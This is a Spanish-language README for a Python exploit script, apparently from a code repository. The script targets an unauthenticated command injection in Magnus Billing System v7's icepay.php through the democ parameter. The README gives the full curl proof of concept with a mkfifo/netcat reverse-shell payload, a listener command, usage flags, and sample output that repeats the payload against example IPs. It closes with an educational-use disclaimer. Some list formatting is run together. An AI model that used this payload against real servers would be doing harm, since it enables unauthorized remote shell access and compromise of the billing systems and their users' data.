
Este script de Python automatiza la explotación de una vulnerabilidad de inyección de comandos en Magnus Billing System v7, específicamente en el script icepay.php ubicado en /mbilling/lib/icepay/icepay.php. El exploit aprovecha el parámetro democ para ejecutar comandos arbitrarios en el sistema objetivo, estableciendo finalmente una reverse shell hacia una máquina controlada por el atacante.
La vulnerabilidad permite la inyección de comandos sin autenticación mediante una solicitud GET manipulada. El proof-of-concept (PoC) original utilizaba el siguiente comando curl:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
Este script automatiza ese proceso, haciéndolo configurable mediante argumentos de línea de comandos.
requests para enviar la solicitud HTTP con el payloadrequests:
pip install requests
netcat (nc) instalado para que la reverse shell funcionenetcat en la máquina del atacante para capturar la reverse shellicepay.php accesibleexploit.pynetcat:
nc -lvnp <PORT>
<PORT> con el puerto que elijas (por ejemplo, 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
Parámetros:
-t, --target: Dirección IP del sistema Magnus Billing objetivo-a, --attacker: Tu dirección IP para recibir la reverse shell-p, --port: Puerto en tu máquina para la reverse shellpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
Salida Esperada:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat para interactuar con la reverse shell si tiene éxitomkfifo) con netcatprint(response.text) en la función exploit()netcat instaladoEsta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad. Úsala solo en sistemas en los que tengas permiso explícito para realizar pruebas. El uso no autorizado contra sistemas que no poseas o para los que no tengas consentimiento es ilegal y poco ético. El autor no se hace responsable del mal uso o de los daños causados por este script.
Este proyecto se publica bajo la Licencia MIT. Puedes modificarlo y distribuirlo libremente según sea necesario, manteniendo intacto el descargo de responsabilidad.
Las contribuciones, los informes de errores y las solicitudes de funciones son bienvenidos. No dudes en enviar un pull request o abrir un issue.